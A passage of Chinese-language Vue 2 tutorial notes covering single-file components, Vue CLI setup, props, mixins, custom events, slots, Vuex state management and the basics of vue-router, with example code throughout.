  2. new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是Vue实例对象
  3. VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象),Vue的实例对象,以后简称vm

# 20.5 重要内置关系(原型指向问题)

Vue对组件实例对象的原型对象做了一个关键性的修改,令其隐式原型属性指向Vue的原型对象

VueComponent.prototype._proto_ === Vue.prototype

目的:组件实例对象(vc)可以访问到 Vue原型上的属性、方法

Vue笔记作图-第 1 页

# 21. 单文件组件

  1. 单文件组件都是以vue作为文件扩展名
  2. vue扩展名的文件需经过webpack、vue cli、vite等工具的处理打包输出为纯粹的js文件,浏览器才能认识并运行
  3. 单文件组件的命名规则和20.3小节的一致,限制也一致,开发中尽量选择大驼峰命名法,以便和开发者工具呈现效果保持一致
  4. 单文件组件必须使用模块化暴露的方式暴露出去供其它组件使用,一般使用默认暴露export default命令暴露配置对象即可,引入其他组件则使用ES6的import命令
  5. 单文件组件内部封装了三个标签template、style、script,分别存储Html(结构)、CSS(表现)、JavaScript(行为)的相关代码
  6. 需要在VSCode中安装Vetur插件,编辑器才能认识vue扩展名,从而实现代码高亮
  7. 安装Vetur插件后,输入<v,会有相关代码提示,按下回车键即可快速生成单文件组件的三个封装标签

# 21.1 各文件作用分析

以下就是简单但很完整的单文件组件的代码

# App.vue

<template>
	<!-- 组件的结构 -->
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//组件交互相关的代码(数据、方法等等)

	//引入组件
    //脚手架里.vue后缀写不写都行
	import School from './School.vue'
	import Student from './Student.vue'

    //暴露组件,简化写法,只暴露配置对象即可,参考20.3小节
	export default {
		name:'App',
        //标记相关子组件
		components:{
			School,
			Student
		}
	}
</script>

<style>
	/* 组件的样式 */
</style>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

App.vue的作用是汇总所有组件(一人之下,万人之上),所有的组件都得听从vm的调配,而vue的脚手架中则使用main.js来创建Vue实例,并且只有App.vue可以与其对话,其余组件都是App.vue的后代组件,main.js通过控制App.vue来间接操控其余组件,并通过el属性绑定要服务的根容器

# main.js

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})
1
2
3
4
5
6
7

main.js就是入口文件,所有的任务都从该文件中出发,查找相关组件并执行代码

# index.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<!-- 看似有意义,实际上浏览器不认识main.js里引入的App组件,所以写不写下面两行无所谓 -->
		<!-- <script type="text/javascript" src="../js/vue.js"></script> -->
		<!-- <script type="text/javascript" src="./main.js"></script> -->
	</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

index.html就是存放Vue实例vm所服务容器的页面,同时,想让vm运行起来还得引入它,故这里理论上得引入main.js,而在引入js入口文件前更需要先引入Vue的运行文件(参考16.3小节涉及到的文件资源延时问题,最好把这二者的引入语句放body里的最下层)

但实际我们运行的时候会发现行不通,因为浏览器不认识main.js里引入的App组件(vue扩展名文件),它只认识js环境,所以这只是个大概的结构示意,实际二者引不引入无所谓,使用Vue Cli脚手架时,它会帮我们做好相关准备工作,一上来就能直接运行

# 22. 使用脚手架

  1. Vue 脚手架(Vue CLI)是Vue 官方提供的标准化开发工具(开发平台),最新的版本是 4.x
  2. 脚手架一般使用最新版本即可,尽量避免Vue版本过新但脚手架版本过旧的情况
  3. 参考文档: https://cli.vuejs.org/zh/

# 22.1 初始化&使用步骤

  1. 全局安装@vue/cli(仅第一次执行使用该命令)npm install -g @vue/cli
  2. 切换到要创建项目的目录,然后使用命令vue create xxxx创建项目
  3. 启动项目npm run serve

**注:**如出现下载缓慢请配置 npm淘宝镜像:npm config set registry https://registry.npm.taobao.org

# 22.2 脚手架文件结构

├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

# 22.3关于不同版本的Vue

  1. vue.js是完整版的Vue,包含:核心功能 + 模板解析器
  2. vue.runtime.xxx.js是运行版的Vue,只包含核心功能,没有模板解析器
  3. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。

# render函数

new Vue({
	el:'#app',
	//render函数完成了这个功能:将App组件放入容器中
  	render: h => h(App),
	// render:q=> q('h1','你好啊')

	// template:`<h1>你好啊</h1>`,
	// components:{App},
})
1
2
3
4
5
6
7
8
9

# 22.4 vue.config.js配置文件

  1. Vue脚手架隐藏了所有webpack相关的配置,请使用vue inspect > output.js查看Vue脚手架的默认配置
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

# 23. ref 与 props

# 23.1 ref属性

  1. 被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)

使用方式

  1. 打标识:<h1 ref="xxx">.....</h1> 或 <School ref="xxx"></School>
  2. 获取:this.$refs.xxx

示例代码

<template>
	<div>
		<h1 v-text="msg" ref="title"></h1>
		<button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
		<School ref="sch"/>
	</div>
</template>

<script>
	//引入School组件
	import School from './components/School'

	export default {
		name:'App',
		components:{School},
		data() {
			return {
				msg:'欢迎学习Vue!'
			}
		},
		methods: {
			showDOM(){
				console.log(this.$refs.title) //真实DOM元素
				console.log(this.$refs.btn) //真实DOM元素
				console.log(this.$refs.sch) //School组件的实例对象(vc)
			}
		},
	}
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 23.2 props配置项

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

    接收数据:

    1. 第一种方式(只接收):props:['name']

    2. 第二种方式(限制类型):props:{name:String}

    3. 第三种方式(限制类型、限制必要性、指定默认值):

      props:{
      	name:{
              type:String, //类型
              required:true, //必要性
              default:'老王' //默认值
      	}
      }
      
      1
      2
      3
      4
      5
      6
      7

    备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

# 24. mixin(混入)

  1. 混入 (mixins)定义了一部分可复用的方法或者计算属性。混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被合并进该组件本身的选项
  2. 当组件和混入对象含有同名选项时,这些选项将以恰当的方式混合。如数据对象在内部会进行浅合并 (一层属性深度),在和组件的数据发生冲突时以组件数据优先
  3. 如果 methods 选项中有相同的函数名,则 Vue 实例优先级会较高
  4. 谨慎使用全局混入对象,因为会影响到每个单独创建的 Vue 实例

使用方式

第一步定义mixin:

{
    data(){....},
    methods:{....}
    ....
}
1
2
3
4
5

第二步使用混入:

​ 全局混入:Vue.mixin(xxx) ​ 局部混入:```mixins:['xxx'] ``

参考链接:菜鸟教程-混入 (opens new window)

示例代码、

①mixin.js

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

②main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
import {hunhe,hunhe2} from './mixin'

Vue.mixin(hunhe)
Vue.mixin(hunhe2)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 25. 插件

  1. 功能:通过 install 方法给Vue 或Vue实例添加方法, 定义全局指令等

  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个及以后的参数是插件使用者传递的数据

  3. 定义插件:

    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
  4. 通过全局方法 Vue.use() 使用插件,该方法需在调用 new Vue() 启动应用之前完成

# 26. scoped和lang属性

参考链接

Vue框架中style标签的scope和lang属性以及样式穿透 (opens new window)

# 26.1 scoped

  1. 作用:仅仅作用于当前的vue组件,不会产生样式全局污染的情况。一个应用中所有vue组件都加上该属性,则实现了样式的模块化
  2. 写法:<style scoped>

# 26.2 lang属性及坑

  1. Vue封装的style标签可以用lang属性指定标签内使用哪种预处理语言描写样式,如less、sass、css等
  2. 如果不写该属性则默认使用css作为样式语言
  3. 在指定预处理语言为Less、Sass等非默认语言时,需要下载相应的loader插件(因为Vue Cli本身就是基于Webpack封装的),如less-loader、sass-loader等
  4. 下载相应loader插件时,如果Vue Cli版本是4.xx的话,以less-loader为例,直接使用npm i less-loader等相应命令的话可能会报错,因为该命令会直接下载最新版本的插件,它们都是针对Webpack5适配的,不兼容Webpack4,Vue Cli为了求稳用的是Webpack4。我们可以使用npm view less-loader version查看该插件所有的版本号,再挑选之前的版本安装即可,版本567都行,命令npm i less-loader@7即可

# 27. 总结TodoList案例

  1. 组件化编码流程:

    ​ (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

    ​ (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​ 1).一个组件在用:放在组件自身即可。

    ​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

    ​ (3).实现交互:从绑定事件开始。

  2. props适用于:

    ​ (1).父组件 ==> 子组件 通信

    ​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做

# 28. webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

# 28.1相关API

方法 作用
xxxStorage.setItem('key', 'value') 接受一个键和值作为参数,把键值对添加到存储中
如果键名存在,则更新其对应的值
xxxStorage.getItem('key') 接受一个键名作为参数,返回键名所对应的值
xxxStorage.removeItem('key') 接受一个键名作为参数,并把该键名从存储中删除
xxxStorage.clear() 清空存储中的所有数据

# 28.2 注意点

  1. SessionStorage存储的内容会随着浏览器窗口关闭而消失
  2. LocalStorage存储的内容,需要手动清除才会消失
  3. xxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null
  4. JSON.parse(null)的结果依然是null

# 29. 组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/> 或 <Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
      
      1
      2
      3
      4
      5
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. (子组件)触发自定义事件:this.$emit('atguigu',数据)

  5. (子组件)解绑自定义事件this.$off('atguigu')

  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

# 30. 全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
    1
    2
    3
    4
    5
    6
    7
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身

      methods(){
        //方式一:回调函数写在methods中
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
          
          
      //方法二:回调函数用箭头函数
      mounted(){
      	this.$bus.$on('xxxx',()=>{doSomething})
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
    2. 提供数据:this.$bus.$emit('xxxx',数据)

  4. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件,不要销毁了还占着事件名。另外$off一定要传事件名这一参数,否则就是全局事件总线而非单独的某个事件被销毁了

# 31. 消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 使用步骤:

    1. 安装pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pubId = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
      
      1
      2
      3
      4
      5
      6
      7
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pubId)去取消订阅。

# 32. $nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 用法:在下次 DOM循环更新结束后执行其指定的延迟回调。在修改数据之后立即使用这个方法,获取更新后的DOM
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,在$nextTick所指定的回调函数中执行
  4. 官网文档:https://cn.vuejs.org/v2/api/#Vue-nextTick

参考链接

1.Vue.nextTick 的原理和用途-思否 (opens new window)

2.vue.nextTick()方法的使用详解-CSDN (opens new window)

# 33. Vue封装的过渡与动画

# 33.1 自定义过渡动画

作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名

Vue封装的元素进入时的类名

类名 代表含义
v-enter 定义进入过渡的开始状态
在元素被插入之前生效,在元素被插入之后的下一帧移除
v-enter-active 定义进入过渡生效时的状态
在整个进入过渡的阶段中应用,在元素被插入之前生效,在过渡/动画完成之后移除
这个类可以被用来定义进入过渡的过程时间,延迟和曲线函数
v-enter-to 2.1.8 版及以上定义进入过渡的结束状态
在元素被插入之后下一帧生效 (与此同时 v-enter 被移除),在过渡/动画完成之后移除

Vue封装的元素离开时的类名

类名 代表含义
v-leave 定义离开过渡的开始状态
在离开过渡被触发时立刻生效,下一帧被移除
v-leave-active 定义离开过渡生效时的状态
在整个离开过渡的阶段中应用,在离开过渡被触发时立刻生效,在过渡/动画完成之后移除
这个类可以被用来定义离开过渡的过程时间,延迟和曲线函数
v-leave-to 2.1.8 版及以上定义离开过渡的结束状态
在离开过渡被触发之后下一帧生效 (与此同时 v-leave 被删除),在过渡/动画完成之后移除

Vue 提供了 transition 的封装组件,在下列情形中,可以给任何元素和组件添加进入/离开过渡

  1. 条件渲染 (使用 v-if)
  2. 条件展示 (使用 v-show)
  3. 动态组件
  4. 组件根节点

# 注意点

  1. 对于这些在过渡中切换的类名来说,如果你使用一个没有name属性的 transition标签,则 v- 是这些类名的默认前缀。如果你使用了 <transition name="hello">,那么 v-enter会被替换为 hello-enter
  2. 若有多个元素需要过渡,则需要使用:<transition-group>,且每个元素都要指定key值

# 参考链接

进入/离开 & 列表过渡-Vue.js官网 (opens new window)

示例代码

<div id="demo">
  <button v-on:click="show = !show">
    Toggle
  </button>
  <transition name="fade">
    <p v-if="show">hello</p>
  </transition>
</div>
1
2
3
4
5
6
7
8
.fade-enter-active, .fade-leave-active {
  transition: opacity .5s;
}
.fade-enter, .fade-leave-to /* .fade-leave-active below version 2.1.8 */ {
  opacity: 0;
}
1
2
3
4
5
6

img

# 33.2 animate动画库的使用

官网链接:Animate动画库官网 (opens new window)

1.导入animate.css文件

<link rel="stylesheet" href="animate.css">
1

2.animate动画使用

1.enter-active-class="指定进入的时候绑定的动画类名"

2.leave-active-class="指定离开的时候绑定的动画类名"

注意:如果元素默认就是显示的,那么第一次不会触发动画,如果想第一次就触发动画.可以再添加一个appear属性

<transition enter-active-class="animated fadeInRight "
leave-active-class=" animated  fadeOutRight" appear>
    <h1 v-show="flag1">动起来!</h1>
</transition>
1
2
3
4

mode in-out先进后出 out-in先出后进

<transition appear mode='out-in'>
    <!-- :is后面跟的是变量,通过变量来指定组件 -->
    <component :is="hello"></component>
</transition>
1
2
3
4

# 34. vue.config.js配置代理

​ 为解决开发环境中的Ajax 跨域问题,最合适的方法是后端方面配合设置相关请求头,如果只是前端方面暂时的变通,则可以使用代理服务器,这样就属于服务器端与服务器端间的通信,而非客户端与服务器端的通信,不会触发浏览器的同源策略检查

​ Vue脚手架为我们提供了一简单一详细的两种代理数据的方法,以下是详细设置步骤:

# 34.1 方法一

在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}
1
2
3

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

# 34.2 方法二

编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

# 35. 插槽(slot)

参考链接:插槽-Vue.js官方文档 (opens new window)

Vue 实现了一套内容分发的 API,将 <slot>元素作为承载分发内容的出口

在 2.6.0 中,Vue官方为具名插槽和作用域插槽引入了一个新的统一的语法 (即 v-slot 指令),它取代了 slot 和 slot-scope 这两个目前已被废弃但未被移除且仍在文档中 (opens new window)的 attribute

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件
  2. 分类:①默认插槽、②具名插槽、③作用域插槽

# 35.1 默认插槽

父组件中:
        <Category>
           <div>html结构1</div>
        </Category>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot>插槽默认内容...</slot>
            </div>
        </template>
1
2
3
4
5
6
7
8
9
10
11

# 35.2 具名插槽

理解:基本和默认插槽一样,只是slot组件多了name属性,与此同时父组件中相应的结构要使用slot属性(已被废弃但未移除,Vue3统一用v-slot指令)匹配插槽名

父组件中:
        <Category>
            <template slot="center">
              <div>html结构1</div>
            </template>

            <template v-slot:footer>
               <div>html结构2</div>
            </template>
        </Category>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="center">插槽默认内容...</slot>
               <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 35.3 作用域插槽

理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定

<!--games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定-->
父组件中:
		<Category>
			<template scope="scopeData">
				<!-- 生成的是ul列表 -->
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
			<template slot-scope="scopeData">
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
子组件中:
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 36. 理解Vuex

  1. 概念:专门在Vue 中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信
  2. Github地址:Vuex-Github (opens new window)
  3. 何时使用:多个组件需要共享数据时,即:①多个组件依赖于同一状态 ②来自不同组件的行为需要变更同一状态

# 36.1 参考链接

1.Vuex文档-Vue.js官网 (opens new window)

2.为什么Vue有了全局事件总线后还要引入Vuex (opens new window)

# 36.2 Vuex工作原理图

vuex原理图

# 36.3 Vuex理念及优势

# 单向数据流

下图是一个表示“单向数据流”理念的简单示意

flow
  1. state,驱动应用的数据源;
  2. view,以声明方式将 state 映射到视图;
  3. actions,响应在 view 上的用户输入导致的状态变化

# 必要性阐述

但是,当我们的应用遇到多个组件共享状态时,单向数据流的简洁性很容易被破坏:①多个视图依赖于同一状态②来自不同视图的行为需要变更同一状态

对于问题一,传参的方法对于多层嵌套的组件将会非常繁琐,并且对于兄弟组件间的状态传递无能为力。对于问题二,我们经常会采用父子组件直接引用或者通过事件来变更和同步状态的多份拷贝。以上的这些模式非常脆弱,通常会导致无法维护的代码

因此,我们为什么不把组件的共享状态抽取出来,以一个全局单例模式管理呢?在这种模式下,我们的组件树构成了一个巨大的“视图”,不管在树的哪个位置,任何组件都能获取状态或者触发行为!

通过定义和隔离状态管理中的各种概念并通过强制规则维持视图和状态间的独立性,我们的代码将会变得更结构化且易维护

# 37. Vuex核心概念

# 37.1 state

  1. vuex 管理的状态对象,保存具体的数据
  2. 它应该是唯一的

# 37.2 actions

  1. 值为一个对象,包含多个响应用户动作的回调函数
  2. 通过 commit( )来触发mutation中函数的调用, 间接更新 state
  3. 如何触发 actions 中的回调? 在组件中使用: $store.dispatch('对应的 action 回调名') 触发
  4. 可以包含异步代码(定时器, ajax 等等)

# 37.3 mutations

  1. 值是一个对象,包含多个直接更新 state的方法
  2. 谁能调用mutations 中的方法?如何调用? 在 actions中使用:commit('对应的 mutations 方法名')触发
  3. mutations 中方法的特点:不能写异步代码、只能单纯的操作 state

# 37.4 getters

  1. 值为一个对象,包含多个用于返回数据的函数
  2. 如何使用?—— $store.getters.xxx

# 37.5 modules

  1. 包含多个module
  2. 一个module 是一个 store 的配置对象
  3. 与一个组件(包含有共享数据)对应

# 38. 使用Vuex

# 38.1 搭建vuex环境

  1. 创建文件:src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions对象——响应组件中用户的动作
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
    //准备state对象——保存具体的数据
    const state = {}
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state
    })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
  2. 在main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store'
    ......
    
    //创建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

# 38.2 基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据) 或 $store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

# 38.3 getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

  2. 在store.js中追加getters配置

    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
  3. 组件中读取数据:$store.getters.bigSum

# 38.4 四个map方法的使用

  1. mapState方法:用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
    
    1
    2
    3
    4
    5
    6
    7
  2. mapGetters方法:用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
    1
    2
    3
    4
    5
    6
    7
  3. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
    1
    2
    3
    4
    5
    6
    7
  4. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    
    1
    2
    3
    4
    5
    6
    7

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

# 38.5 模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//开启命名空间
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    
    const personAbout = {
      namespaced:true,//开启命名空间
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
    1
    2
    3
    4
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
    1
    2
    3
    4
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
    1
    2
    3
    4
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    
    1
    2
    3
    4

# 39. 路由的理解

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理
  2. key 为路径, value可能是 function或 component

# 39.1 路由分类

# 前端路由

  • 理解:value 是 component,用于展示页面内容
  • 工作过程:当浏览器的路径改变时, 对应的组件就会显示

# 后端路由

  • 理解:value 是 function, 用于处理客户端提交的请求
  • 工作过程:服务器接收到一个请求时, 根据请求路径找到匹配的函数 来处理请求, 返回响应数据

# 39.2 SPA应用

  1. 单页Web应用(single page web application,SPA)
  2. 整个应用只有一个完整的页面
  3. 点击页面中的导航链接不会刷新页面,只会做页面的局部更新
  4. 数据需要通过 ajax 请求获取
  5. vue-router是Vue的一个插件库,专门用来实现 SPA应用

# 40. vue-router基本使用

  1. 安装vue-router,命令:npm i vue-router

  2. 应用插件:Vue.use(VueRouter)

  3. 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
  4. 实现切换(active-class可配置高亮样式)

    <router-link active-class="active" to="/about">About</router-link>
    
    1
